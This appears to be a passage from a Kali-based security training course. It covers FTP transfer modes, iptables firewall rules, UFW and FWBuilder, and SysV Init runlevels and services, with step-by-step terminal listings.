Binary vs. ASCII modes are related to how the file is transferred.
If the file is a text file, ASCII mode can be used. If the
transfer is done from a UNIX to a Microsoft system, ASCII mode will
automatically add a to the end of each newline. If the transfer
is from a Microsoft host to a UNIX host, the will be removed
from each new line end. This ensures compatibility with reading a
text file when transferred from one type of system to another. Binary
mode will keep the file in its original state, without modifying the
newline entries. If transferring a binary, Binary mode should be
used. Otherwise, the execution of the binary may become corrupted due
to the modification of the new line entries. Let's quickly examine the
FTP ascii and binary commands.
kali@kali:/var/tmp$ ftp localhost
Connected to localhost.
220 (vsFTPd 3.0.3)
Name (localhost:kali): kali
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ascii
200 Switching to ASCII mode.
ftp> bin
200 Switching to Binary mode.
ftp> exit
221 Goodbye.
Listing 122 - Changing the file transfer mode between ASCII and Binary
The FTP server was logged into and the modes were changed to ASCII,
then Binary. These modes will need to be changed according to our
needs before a download or upload of a file from/to the FTP server.
Using this information, we should now be able to work with FTP servers
with varying configurations.
In this Topic, we will cover the following Learning Units
Each learner moves at their own pace, but this topic should take
approximately 10 hours to complete.
Understanding firewall[418] fundamentals is important for any
information security professional. Firewalls are commonly used as a
first line of defense against attackers. As a security professional,
it is useful to know how to configure a firewall and read firewall
rules. These rules define what network traffic can flow and how that
network traffic behaves. As a penetration tester, understanding these
rules can help with the exploitation of a system and/or gaining access
further into a network. To cover firewall basics, we will discuss
iptables[204-1] and UFW.[419]
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 60 minutes to complete.
Before we can cover basic firewall configurations, it is important
to understand what an Access Control List (ACL)[201-1] is. An ACL
is a list of rules to control access to computer resources. This can
be either in the filesystem or network. In this section,
we'll strictly be covering network ACLs.
A network ACL will typically have three actions it can take. These
are ACCEPT, DROP, and REJECT. Let's imagine a firewall
like a guest list at a fancy party. When someone arrives at the party
doors, the guest list is checked. If they are on that list under
ACCEPT, they are let inside.
If they are not on the list, they won't be allowed in the party. This
would be the same as DROP.
Let's pretend there's a special category of unwelcome guests that may
show up. This would fall under the REJECT list, where an explanation
is given to the guest that is not allowed in. "Sir, last time we
invited you, you ate all the food and didn't leave any for anyone
else." Not only would this guest not be allowed in, but a response
message is provided by the staff member controlling entry at the door.
Firewalls also have default policy. In the party example, the default
policy is a DROP (disallow) policy. This means that anyone that
isn't on the list is not allowed in the party. If the policy was a
default ACCEPT, only those on the list to DROP or REJECT would
be not allowed in the party.
When it comes to network traffic, it is easiest to have a default
ACCEPT policy. There may be many unknown connections that want to be
made to a networked device.
This is much less secure than a default DROP policy. With a default
DROP policy, access is explicitly defined to only allowed trusted
devices on the network. The ACL will also be read from the top to
bottom and the rules will be followed in the order in which they are
read. This being said, if a rule explicitly allows a type of traffic
through and later drops that same type of traffic, the traffic will
be allowed. It doesn't matter that there are conflicting rules on the
same match. The firewall will take the first action that matches the
rules.
The direction of this traffic also needs to be considered. Most
times, people think only of traffic coming from the outside of a
network to internal network resources. Firewalls also handle the
internal network access and can even be what is known as stateless
or stateful.[420]
In this case, the state is the origination of a network session
that is established. The firewall will monitor the network traffic and
allow sessions that were allowed, to remain allowed. If a user opens
a network session from the internal network to an outside resource
and the traffic is allowed, the session state will be stored in the
firewall records in a stateful connection. Any further communication
between that internal host and the remote resource will be allowed as
long as that session remains open. This takes more computing resources
on the firewall and can be considered to be a more robust way to
manage network traffic. IPTables is a stateless firewall, by
default. This can be changed to stateful, if desired.
For the sake of keeping this at a basic level, this will not be in
scope for this course. It is more important that it is understood that
state can play a role in how some firewalls are configured.
The Linux kernel has a packet filtering framework, called
netfilter[421]. The utility that hooks into this framework
is iptables, which is used to create and/or modify ACLs for the Linux
firewall. Let's inspect the output of the iptables -L command.
kali@kali:~$ sudo iptables -L
[sudo] password for kali:
Chain INPUT (policy ACCEPT)
target prot opt source destination
Chain FORWARD (policy ACCEPT)
target prot opt source destination
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
Listing 1 - The default ACL
IPTables has multiple tables to store different types of ACLs. The
default table is called the filter table. This is the only table
that we will cover in this Topic, but we should be aware that the
following tables also exist within iptables. A description of all
tables types can be found in the iptables man page (man iptables).
In the default table (filter), INPUT, FORWARD, and OUTPUT are
displayed. These are called chains and define the direction of network
traffic flow.
INPUT is related to any connection that is coming into the host,
and OUTPUT is for any connection leaving it. FORWARD relates to how
to redirect network traffic, and is commonly used in Linux router
configurations. There are more chains in other tables, but those are
out of scope for this Topic.
The default policy for each of the chains in the listing are set to
ACCEPT, so we can consider the firewall to be completely open. The
other policies that can be used are the actions that were mentioned
earlier.
The possible policies are ACCEPT, DROP, and REJECT. Let's change the
default policy for the FORWARD chain to DROP, since our Kali host
is not going to function as a router. We do this with the -P
(policy) option.
kali@kali:~$ sudo iptables -P FORWARD DROP
kali@kali:~$ sudo iptables -L</sudo>
Chain INPUT (policy ACCEPT)
target prot opt source destination
Chain FORWARD (policy DROP )
target prot opt source destination
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
Listing 2 - The FORWARD chain's default policy is set to DROP
After executing our command, we can verify the default policy for the
FORWARD chain is set to DROP.
Now that we have a basis of terms and can list the rules in the
default table, let's move on to creating the rules that make up the
firewall. Having an understanding that the host has multiple network
paths (INPUT, OUTPUT, and FORWARD) is critical in understanding the
nature of traffic that we will ALLOW, REJECT, or DROP.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 90 minutes to complete.
Covering firewalls as a concept would be useless without analyzing
a few rules. Beyond this, we'll build a much stronger skillset if we
know how to configure iptables and have the capability to set up a
firewall. Let's build on what we learned about ACLs, default policies,
actions, and listing the firewall rules on a Linux host.
To get started, let's run iptables and append (-A) a
rule to the INPUT chain for a source network (-s) of
192.168.1.0/24 for all protocols (-p all).
kali@kali:~$ sudo iptables -s 192.168.1.0/24 -p all -A INPUT
[sudo] password for kali:
kali@kali:~$ sudo iptables -L
Chain INPUT (policy ACCEPT)
target prot opt source destination
all -- 192.168.1.0/24 anywhere
Chain FORWARD (policy DROP)
target prot opt source destination
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
Listing 3 - A firewall rule for incoming traffic to the host from the network 192.168.1.0/24 for all protocols is added
After we executed the command, we verified that the firewall rule was
added to the INPUT chain.
For the sake of this activity, let's add some more arbitrary rules to
the INPUT chain. Let's add the localhost IP (127.0.0.1) as the source
(-s) and destination (-d). Let's also add the IP address
of 192.168.1.37 as the source (-s) with the TCP protocol (-p
tcp).
kali@kali:~$ sudo iptables -s 127.0.0.1 -d 127.0.0.1 -A INPUT
kali@kali:~$ sudo iptables -s 192.168.1.37 -p tcp -A INPUT
kali@kali:~$ sudo iptables -L
Chain INPUT (policy ACCEPT)
target prot opt source destination
all -- 192.168.1.0/24 anywhere
all -- localhost localhost
tcp -- 192.168.1.37 anywhere
Chain FORWARD (policy DROP)
target prot opt source destination
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
Listing 4 - The addtional rules are added to the INPUT chain
The rules are now part of the INPUT chain, appended below our first
firewall rule.
Let's now append another firewall rule for the name localhost and
observe what happens. For this, let's add it as the source address.
kali@kali:~$ sudo iptables -s localhost -A INPUT
kali@kali:~$ sudo iptables -L
Chain INPUT (policy ACCEPT)
target prot opt source destination
all -- 192.168.1.0/24 anywhere
all -- localhost localhost
tcp -- 192.168.1.37 anywhere
all -- localhost anywhere
all -- localhost anywhere
Chain FORWARD (policy DROP)
target prot opt source destination
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
Listing 5 - The new rule with the name localhost has two new entries
Notice that the first time we added the literal IP for the localhost
(127.0.0.1). That rule-specification resolved in the rule listing
output to "localhost". Because we used localhost as the source
address in the last command, there are now two entries with the same
information. This is due to localhost being resolved to the IPv4
address and the IPv6 address. Again, those addresses resolve back to
localhost in the output.
Let's delete these duplicate lines with -D and specify the source
as localhost.
kali@kali:~$ sudo iptables -s localhost -D INPUT
kali@kali:~$ sudo iptables -L
Chain INPUT (policy ACCEPT)
target prot opt source destination
all -- 192.168.1.0/24 anywhere
all -- localhost localhost
tcp -- 192.168.1.37 anywhere
Chain FORWARD (policy DROP)
target prot opt source destination
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
Listing 6 - The source localhost rules are removed
The command to delete the duplicate rule ended up removing both of
the rules. It didn't delete the other rule with localhost, since the
destination specification was different between the rules added in the
last command. Let's append that rule again and list the rules with the
--line-numbers option.
kali@kali:~$ sudo iptables -s localhost -A INPUT
kali@kali:~$ sudo iptables -L --line-numbers
Chain INPUT (policy ACCEPT)
num target prot opt source destination
1 all -- 192.168.1.0/24 anywhere
2 all -- localhost localhost
3 tcp -- 192.168.1.37 anywhere
4 all -- localhost anywhere
5 all -- localhost anywhere
Chain FORWARD (policy DROP)
num target prot opt source destination
Chain OUTPUT (policy ACCEPT)
num target prot opt source destination
Listing 7 - The chain rule line numbers are shown in the output
Now we have line numbers in the left column. If we use the line
number to delete one of the duplicate entries, we can avoid removing
all entries that fit the same rule-specification. Let's remove the
entry on line 5.
kali@kali:~$ sudo iptables -D INPUT 5
kali@kali:~$ sudo iptables -L --line-numbers
Chain INPUT (policy ACCEPT)
num target prot opt source destination
1 all -- 192.168.1.0/24 anywhere
2 all -- localhost localhost
3 tcp -- 192.168.1.37 anywhere
4 all -- localhost anywhere
Chain FORWARD (policy DROP)
num target prot opt source destination
Chain OUTPUT (policy ACCEPT)
num target prot opt source destination
Listing 8 - Only one of the rule-specifications was deleted, since the line was used
The firewall rule that existed on line 5 is gone after we executed our
command.
It is important to note that firewalls work from the top of the
list and go to each line until a match is found. This being
said, if there are conflicts between rules, the first line read will
be the one used in the firewall configuration. If we examine the
output again, we find there may be a current conflict with the
192.168.1.0/24 network and the 192.168.1.37 host. Let's insert the
rule-specification for 192.168.1.37 to line 1 and then delete the
duplicate entry that already was in the list. We will start by
inserting (-I) our firewall rule.
kali@kali:~$ sudo iptables -s 192.168.1.37 -I INPUT 1
kali@kali:~$ sudo iptables -L --line-numbers
Chain INPUT (policy ACCEPT)
num target prot opt source destination
1 all -- 192.168.1.37 anywhere
2 all -- 192.168.1.0/24 anywhere
3 all -- localhost localhost
4 tcp -- 192.168.1.37 anywhere
5 all -- localhost anywhere
Chain FORWARD (policy DROP)
num target prot opt source destination
Chain OUTPUT (policy ACCEPT)
num target prot opt source destination
Listing 9 - The rule-specification for 192.168.1.37 is now before the network rule-specification of 192.168.1.0/24
With the firewall rule inserted on line 1 and the insertion of that
rule verified, let's remove the pre-existing entry.
kali@kali:~$ sudo iptables -D INPUT 4
kali@kali:~$ sudo iptables -L --line-numbers
Chain INPUT (policy ACCEPT)
num target prot opt source destination
1 all -- 192.168.1.37 anywhere
2 all -- 192.168.1.0/24 anywhere
3 all -- localhost localhost
4 all -- localhost anywhere
Chain FORWARD (policy DROP)
num target prot opt source destination
Chain OUTPUT (policy ACCEPT)
num target prot opt source destination
Listing 10 - The firewall rule was removed
The duplicate entry no longer exists in our firewall ACL.
We can also show the amount of traffic in terms of packets and bytes
with the -v option. Let's analyze what the traffic data is
currently. In the command, we can also include -n to only
display the IP addresses, instead of the canonical names. The output
in your terminal session will be different.
kali@kali:~$ sudo iptables -nvL
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
pkts bytes target prot opt in out source destination
0 0 all -- * * 192.168.1.37 0.0.0.0/0
78 5464 all -- * * 192.168.1.0/24 0.0.0.0/0
6 504 all -- * * 127.0.0.1 127.0.0.1
14 904 all -- * * 127.0.0.1 0.0.0.0/0
Chain FORWARD (policy DROP 0 packets, 0 bytes)
pkts bytes target prot opt in out source destination
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)
pkts bytes target prot opt in out source destination
Listing 11 - The packet count and bytes on each rule-specification line is shown
Let's generate some network traffic from our localhost to our
localhost with the ping utility. After the ping, let's
inspect the traffic amount again.
kali@kali:~$ ping -c 10 127.0.0.1
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.019 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.037 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.064 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.029 ms
64 bytes from 127.0.0.1: icmp_seq=5 ttl=64 time=0.029 ms
64 bytes from 127.0.0.1: icmp_seq=6 ttl=64 time=0.046 ms
64 bytes from 127.0.0.1: icmp_seq=7 ttl=64 time=0.043 ms
64 bytes from 127.0.0.1: icmp_seq=8 ttl=64 time=0.030 ms
64 bytes from 127.0.0.1: icmp_seq=9 ttl=64 time=0.028 ms
64 bytes from 127.0.0.1: icmp_seq=10 ttl=64 time=0.033 ms
--- 127.0.0.1 ping statistics ---
10 packets transmitted, 10 received, 0% packet loss, time 9199ms
rtt min/avg/max/mdev = 0.019/0.035/0.064/0.011 ms
kali@kali:~$ sudo iptables -nvL
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
pkts bytes target prot opt in out source destination
0 0 all -- * * 192.168.1.37 0.0.0.0/0
78 5464 all -- * * 192.168.1.0/24 0.0.0.0/0
26 2184 all -- * * 127.0.0.1 127.0.0.1
34 2584 all -- * * 127.0.0.1 0.0.0.0/0
Chain FORWARD (policy DROP 0 packets, 0 bytes)
pkts bytes target prot opt in out source destination
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)
pkts bytes target prot opt in out source destination
Listing 12 - More traffic was generated from the ping
The bytes value for the 127.0.0.1 entries increased due to the
ping packets being sent to and from the localhost.
One last thing before we move on is that iptables is not persistent
after a reboot. The rules must be saved with iptables-save. Let's
go ahead and save the current rules now.
kali@kali:~$ sudo iptables-save
# Generated by iptables-save v1.8.7 on Mon Jul 19 06:07:27 2021
*filter
:INPUT ACCEPT [0:0]
:FORWARD DROP [0:0]
:OUTPUT ACCEPT [0:0]
-A INPUT -s 192.168.1.37/32
-A INPUT -s 192.168.1.0/24
-A INPUT -s 127.0.0.1/32 -d 127.0.0.1/32
-A INPUT -s 127.0.0.1/32
COMMIT
# Completed on Mon Jul 19 06:07:27 2021
Listing 13 - The iptables are saved
After executing the command, the iptables rules we created will remain
intact after a system reboot.
Now that we discussed how to work with adding rules to the firewall
and modifying them, in the next section, we'll refine these rules
further to make a more practical firewall.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 90 minutes to complete.
Extended rules make the firewall more practical for filtering traffic
based on multiple conditions. These are important to understand if
the network traffic needs to be considered when creating the firewall
ruleset.
In the previous section, we discussed the process of adding,
removing, and inserting rules within an iptables chain. The default
policy on the INPUT chain is ACCEPT, and the rules we added
followed that default policy. This means that those rules didn't
actually do anything to secure the firewall, other than monitoring
the packets and data communicated in the specified rulesets.
Since the action wasn't added in the commands we entered, the default
policy action was inherited. Even if we changed the default policy to
a different action, with the -P option, the rules in the chain would
still inherit that policy action.
Let's display the iptables we have set up already.
kali@kali:~$ sudo iptables -L --line-numbers
[sudo] password for kali:
Chain INPUT (policy ACCEPT)
num target prot opt source destination
1 all -- 192.168.1.37 anywhere
2 all -- 192.168.1.0/24 anywhere
3 all -- localhost localhost
4 all -- localhost anywhere
Chain FORWARD (policy DROP)
num target prot opt source destination
Chain OUTPUT (policy ACCEPT)
num target prot opt source destination
Listing 1 - The iptables that were set previously are listed with line numbers
In the rule listing, let's suppose that we want to drop all
traffic from the 192.168.1.0/24 network but still allow the host at
192.168.1.37. Let's replace (-R) the rule for the network and add
the DROP target with the -j option.
kali@kali:~$ sudo iptables -R INPUT 2 -s 192.168.1.0/24 -j DROP
kali@kali:~$ sudo iptables -L --line-numbers
Chain INPUT (policy ACCEPT)
num target prot opt source destination
1 all -- 192.168.1.37 anywhere
2 DROP all -- 192.168.1.0/24 anywhere
3 all -- localhost localhost
4 all -- localhost anywhere
Chain FORWARD (policy DROP)
num target prot opt source destination
Chain OUTPUT (policy ACCEPT)
num target prot opt source destination
Listing 14 - The traffic from the 192.168.1.0/24 network will now be dropped - except for the host at 192.168.1.37
As shown in the listing above, the target changed to DROP for the
192.168.1.0/24 network. Since firewalls work by reading the first rule
and moving to the next until a match is found, the 192.168.1.37 host
will still have access to our host.
Let's refine the access of this host to only the TCP port 8080 to our
localhost. Again, we'll use the replace option for this line entry.
To specify the port, we will use the --dport (destination port)
option.
kali@kali:~$ sudo iptables -R INPUT 1 -s 192.168.1.37 -d 127.0.0.1 -p tcp --dport 8080
kali@kali:~$ sudo iptables -nL --line-numbers
Chain INPUT (policy ACCEPT)
num target prot opt source destination
1 tcp -- 192.168.1.37 127.0.0.1 tcp dpt:8080
2 DROP all -- 192.168.1.0/24 0.0.0.0/0
3 all -- 127.0.0.1 127.0.0.1
4 all -- 127.0.0.1 0.0.0.0/0
Chain FORWARD (policy DROP)
num target prot opt source destination
Chain OUTPUT (policy ACCEPT)
num target prot opt source destination
Listing 15 - The rule is allowing a connection from 192.168.1.37 to TCP/8080 on our Kali host
The first rule was replaced with a specific destination port for that
rule.
If the source port is known, the --sport option can be used to
specify that port.
There is another option that can be used to create rules based on
the type of connection made. This option is part of the conntrack
module, which used the -m conntrack option. This subset of
the module is the --ctstate option, which is part of the
iptables-extensions package. There are many connection tracking
states, but some of the more important ones are listed below.
Note that on older Linux kernels, this option is --state
instead of --ctstate.
INVALID: The packet is associated with no known connection.
NEW: The packet has started a new connection or otherwise associated
with a connection that has not seen packets in both directions.
ESTABLISHED: The packet is associated with a connection that has seen
packets in both directions.
RELATED: The packet is starting a new connection, but is associated
with an existing connection, such as an FTP data transfer or an ICMP
error.
UNTRACKED: The packet is not tracked at all, which happens if you
explicitly un-track it by using -j CT --notrack in the raw table.
Using conntrack will make iptables a stateful firewall. The stateful
firewall settings will ensure that packets that are part of an
existing connection will be allowed to communicate. Let's insert the
following as a new rule.
kali@kali:~$ sudo iptables -I INPUT 1 -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT
kali@kali:~$ sudo iptables -L --line-numbers
Chain INPUT (policy ACCEPT)
num target prot opt source destination
1 ACCEPT all -- anywhere anywhere ctstate RELATED,ESTABLISHED
2 tcp -- 192.168.1.37 localhost tcp dpt:http-alt
4 DROP all -- 192.168.1.0/24 anywhere
5 all -- localhost localhost
6 all -- localhost anywhere
Chain FORWARD (policy DROP)
num target prot opt source destination
Chain OUTPUT (policy ACCEPT)
num target prot opt source destination
Listing 16 - Any packet part of an existing connection will be tracked and allowed as the first rule
A new rule was inserted as the first rule in the INPUT chain that
will keep track of any existing connections.
It's a good practice to add a DROP action for any packet that has an
INVALID connection state. Let's start by inserting this rule at the
beginning of the INPUT chain.
kali@kali:~$ sudo iptables -I INPUT 2 -m conntrack --ctstate INVALID -j DROP
kali@kali:~$ sudo iptables -L --line-numbers
Chain INPUT (policy ACCEPT)
num target prot opt source destination
1 ACCEPT all -- anywhere anywhere ctstate RELATED,ESTABLISHED
2 DROP all -- anywhere anywhere ctstate INVALID
3 tcp -- 192.168.1.37 localhost tcp dpt:http-alt
4 DROP all -- 192.168.1.0/24 anywhere
5 all -- localhost localhost
6 all -- localhost anywhere
Chain FORWARD (policy DROP)
num target prot opt source destination
Chain OUTPUT (policy ACCEPT)
num target prot opt source destination
Listing 17 - Any INVALID packet is dropped on the INPUT chain
With the configuration in the above listing, any traffic that
originates from our host will be accepted back into our host. The
INVALID connections will be dropped immediately.
Now that we covered extended rules, default policies, additional
options, and creating a stateful firewall with iptables, we now have
the knowledge to create custom rule sets to satisfy a network's or
host's firewall needs.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 90 minutes to complete.
Sometimes, it's easier to have a frontend interface to handle the
firewall rules. There are two tools that we can use to accomplish
this: Uncomplicated Firewall (UFW)[419-1] and FWBuilder.[422]
Both of these tools are simply frontend interfaces that leverage the
power of iptables.
First, let's examine UFW. We can install it with apt..
kali@kali:~$ sudo apt install ufw
[sudo] password for kali:
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
...
Setting up ufw (0.36-7.1) ...
Creating config file /etc/ufw/before.rules with new version
Creating config file /etc/ufw/before6.rules with new version
Creating config file /etc/ufw/after.rules with new version
Creating config file /etc/ufw/after6.rules with new version
update-rc.d: We have no instructions for the ufw init script.
update-rc.d: It looks like a non-network service, we enable it.
Created symlink /etc/systemd/system/multi-user.target.wants/ufw.service → /lib/systemd/system/ufw.service.
Processing triggers for kali-menu (2021.2.3) ...
Processing triggers for rsyslog (8.2102.0-2) ...
Processing triggers for man-db (2.9.4-2) ...
Listing 18 - ufw is installed
Now that UFW is installed, we can check the status of the firewall
with the ufw status command.
kali@kali:~$ sudo ufw status
Status: inactive
Listing 19 - UFW is inactive
The power of UFW lies in its convenience. It is a simple tool to add
firewall rules. This can be done based on the applications installed
on a host. To display a list of applications that UFW can affect,
we'll run ufw app list.
kali@kali:~$ sudo ufw app list
Available applications:
AIM
Bonjour
CIFS
DNS
...
SSH
Samba
Socks
Telnet
Transmission
Transparent Proxy
VNC
WWW
WWW Cache
WWW Full
WWW Secure
...
Listing 20 - A list of applications that can be affected by the UFW firewall are listed
SSH is highlighted in the listing above. We can get more information
about this application with ufw app info SSH. Note that
case-sensitivity may affect the tool's output.
kali@kali:~$ sudo ufw app info SSH
Profile: SSH
Title: SSH server
Description: SSH server
Port:
22/tcp
Listing 21 - UFW SSH info
The Title, Description, and Port are shown for the SSH service.
To allow traffic through the firewall related to the application,
we can use the allow directive. Let's allow SSH in the firewall
rules.
kali@kali:~$ sudo ufw allow SSH
Rules updated
Rules updated (v6)
Listing 22 - SSH is allowed to the host
Now that we added SSH rules to the host firewall, the firewall needs
to be enabled.
kali@kali:~$ sudo ufw enable
Firewall is active and enabled on system startup
kali@kali:~$ sudo ufw status
Status: active
To Action From
-- ------ ----
SSH ALLOW Anywhere
SSH (v6) ALLOW Anywhere (v6)
Listing 23 - The UFW firewall is enabled and active
SSH is now allowed on the host firewall from Anywhere.
This has only been basic coverage of the ufw tool. Let's disable it
before moving on to FWBuilder.
kali@kali:~$ sudo ufw disable
Firewall stopped and disabled on system startup
kali@kali:~$ sudo ufw status
Status: inactive/
Listing 24 - UFW is disabled
With UFW disabled, we'll quickly discuss FWBuilder and its GUI
interface. FWBuilder is not installed by default on Kali, so let's
take a moment to install it.
kali@kali:~$ sudo apt install fwbuilder
[sudo] password for kali:
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
...
After this operation, 43.6 MB of additional disk space will be used.
Do you want to continue? [Y/n] Y
...
Fetched 9,327 kB in 2min 4s (75.4 kB/s)
...
Setting up fwbuilder (5.3.7-4.1) ...
Setting up fwbuilder-doc (5.3.7-4.1) ...
Processing triggers for desktop-file-utils (0.26-1) ...
Processing triggers for man-db (2.9.4-2) ...
Processing triggers for shared-mime-info (2.0-1) ...
Processing triggers for menu (2.1.48) ...
Processing triggers for mailcap (3.69) ...
Processing triggers for kali-menu (2021.2.3) ...
Listing 25 - fwbuilder is installed
Once installed we can launch it with sudo fwbuilder.
kali@kali:~$ sudo fwbuilder
Firewall Builder GUI 5.3.7
QStandardPaths: XDG_RUNTIME_DIR not set, defaulting to '/tmp/runtime-root'
Listing 26 - fwbuilder is executed and opens a window
This starts the GUI and allows us to begin building the firewall.
For the sake of the demo, a predefined template was chosen. This
is simply to show what the interface looks like and where to make the
necessary configuration changes inside the utility.
The GUI is a drag-and-drop interface. This is especially
convenient when rules are out of order and need to be moved around.
The modifications of rules are done in the lower Editor portion
of the screen. The Editor pane will change depending on what is
selected in the Policy pane.
The image above shows an example a firewall rule. The parameters are
the same as we've covered in the iptables section, but this interface
may be easier to use due to the visuals and ability to drag and drop
rulesets in their correct order.
It's be important to note that FWBuilder can automatically translate
IPv4 and IPv6 addresses, or rules can be specified to fit either need.
When finished with building the firewall rules in the GUI, the rules
can be compiled and installed on the host. The generated file from
the compilation is a script that will execute the rules set for the
Platform specified (iptables in this example).
Beyond iptables, we covered UFW and FWBuilder. The flexibility of
these tools and knowledge of what is happening underneath the hood
will prove to be valuable when creating, inspecting, and seeking weak
points in a firewall's configuration.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 120 minutes to complete.
It is important to know and understand how services work on Linux
systems. These services make up the capabilities of a host or network
and can be leveraged to gain more privileges on a host or gain access
to another host on a network. Beyond the benefits of understanding
this from a security perspective, it is also valuable for a Linux
System Administrator to know how to work with services on a system to
ensure full system functionality. In this section, we'll discuss two
variations of Linux services: SysV Init and Systemd.
The SysV Init[423] service type is the legacy version of how
Linux services work. Despite being legacy, it is still
widely in use and Systemd is backward-compatible with it. To best
understand how services run on a system, it is important to define what
runlevels[424] are. Runlevels are designations set to how a
Linux system starts and what services are running. They are divided
into 7 categories.
Runlevel 0: The system state when it is halted or powered off.
This is not an effective runlevel, but it can be called on to execute
a system shutdown.
Runlevel 1 (Single User Mode): The state where only one
user (root) can log in to the system to conduct administrative tasks.
Networking is disabled for this runlevel and only the command-line
interface is used.
Runlevel 2 (Multiuser Mode): The network is disabled and the
command-line interface is used.
Runlevel 3 (Multiuser Mode with Networking): The command-line
interface is used and networking is enabled.
Runlevel 4: Undefined by default. This is available for
a custom runlevel, if required.
Runlevel 5 (Multiuser Mode with a Graphical User Interface):
Networking is enabled. This is the default runlevel_on any Linux
distribution that is using a GUI.
Runlevel 6: The runlevel to restart the Linux host. This is
another runlevel that is not effective, but it can be called on to
execute a system restart.
To display the current working runlevel, we run the runlevel
command in the terminal.
kali@kali:~$ runlevel
N 5
Listing 27 - The current runlevel is Runlevel 5
The current runlevel is 5. This makes sense, since the GUI is being
used on our Kali host.
The configuration to set a Linux system's default runlevel
is in /etc/inittab.
It is important to know that as Debian derivative, Kali does not
use SysV Init, so many of the concepts in this section will not be
present in our Kali installation. For the following demonstration,
a legacy version of Ubuntu is used to showcase the concepts we are
covering. Since this is a legacy system, a machine to conduct these
activities will not be provided. This /etc/inittab file is from an
Ubuntu 6.06 installation.
root@e1bf7396aea4:/# cat /etc/inittab
# /etc/inittab: init(8) configuration.
# $Id: inittab,v 1.91 2002/01/25 13:35:21 miquels Exp $
# The default runlevel.
id:2:initdefault:
# Boot-time system configuration/initialization script.
# This is run first except when booting in emergency (-b) mode.
si::sysinit:/etc/init.d/rcS
# What to do in single-user mode.
~~:S:wait:/sbin/sulogin
# /etc/init.d executes the S and K scripts upon change
# of runlevel.
#
# Runlevel 0 is halt.
# Runlevel 1 is single-user.
# Runlevels 2-5 are multi-user.
# Runlevel 6 is reboot.
l0:0:wait:/etc/init.d/rc 0
l1:1:wait:/etc/init.d/rc 1
l2:2:wait:/etc/init.d/rc 2
l3:3:wait:/etc/init.d/rc 3
l4:4:wait:/etc/init.d/rc 4
l5:5:wait:/etc/init.d/rc 5
l6:6:wait:/etc/init.d/rc 6
...
Listing 28 - A legacy Ubuntu /etc/inittab file
In the listing above, several entries are highlighted.
The id:2:initdefault: line is the default runlevel
for this host. The format for these lines is unique
identifier:runlevel:action:process.
For this installation, the default runlevel is Runlevel 2. In the
si::sysinit:/etc/init.d/rcS line, the unique identifier is "si".
There is no associated runlevel. The action to take is "sysinit" and
the process is "/etc/init.d/rcS", which is a script that will execute
when this identifier is called.
To change the current runlevel to a different one, we can use the
runlevel command. If we wanted to change the runlevel to
Runlevel 3, for instance, we would enter runlevel 3.
To avoid breaking our connection with the Kali host, let's not do
this. Regardless of us not exercising a runlevel change, it's
important to be aware of how to do it.
Each runlevel will have a respective /etc/rc#.d/ directory
associated with it. This is used to add the services that will be
started for that runlevel in the form of scripts. Let's inspect
/etc/rc2.d/ on this Ubuntu host.
root@4f165cb1f679:/# ls /etc/rc2.d/
S10sysklogd S11klogd S20makedev S20ssh S99rc.local S99rmnologin
Listing 29 - The Runlevel 2 service startup scripts
In the listing above, 6 startup (S) scripts are shown. These are run
in alphanumeric order as the system enters the Runlevel 2 state.
The service scripts are located in /etc/init.d/ by default on
a SysV Init system.
root@4f165cb1f679:/# ls /etc/init.d/
README bootlogd checkroot.sh halt keymap.sh makedev mountdevsubfs networking quota rc.local rmnologin skeleton sysklogd umountnfs.sh waitnfs.sh
alsa-utils bootmisc.sh console-screen.sh hostname.sh klogd module-init-tools mountvirtfs pcmciautils quotarpc rcS sendsigs ssh udev umountroot
bootclean.sh checkfs.sh glibc.sh hwclock.sh loopback mountall.sh mtab procps.sh rc reboot single stop-bootlogd umountfs urandom
Listing 30 - The service scripts in /etc/init.d/ are listed
SSH is included in the listing. We can work with services
outside of runlevels, with manual execution of the scripts in the
/etc/init.d/ directory. Let's start the SSH service.
root@6126fd75c46c:/# /etc/init.d/ssh start
* Starting OpenBSD Secure Shell server... [ ok ]
Listing 31 - The ssh service is started from the script execution
The "ok" response states that the SSH service was started and is
running. There are many other possibilities for service actions. Let's
execute the script without a parameter to list the available actions.
root@6126fd75c46c:/# /etc/init.d/ssh
* Usage: /etc/init.d/ssh {start|stop|reload|force-reload|restart}
Listing 32 - The actions we can take with the ssh service script are listed
It is important to note that not all service scripts will
have a Usage displayed when the script is executed in
an unaccepted way. This example is to demonstrate that
{start|stop|reload|force-reload|restart} can be added to the script
execution to take different actions with the service.
Let's shift our focus back to our Kali host to cover one last thing
about SysV Init: the service command. Even though this
technically isn't the service utility, the functionality remains
the same as though it were. The syntax for the utility is
service service-name {start|stop|status}.
Let's start, get the status, and stop the SSH service on our Kali
host. First, let's start the service.
kali@kali:~$ sudo service ssh start
[sudo] password for kali:
Listing 33 - The ssh service was started
There was no output to the terminal. Let's verify if the service is
running by using the status option.
kali@kali:~$ sudo service ssh status
● ssh.service - OpenBSD Secure Shell server
Loaded: loaded (/lib/systemd/system/ssh.service; disabled; vendor preset: disabled)
Active: active (running) since Thu 2021-07-22 11:02:55 MST; 1min 3s ago
Docs: man:sshd(8)
man:sshd_config(5)
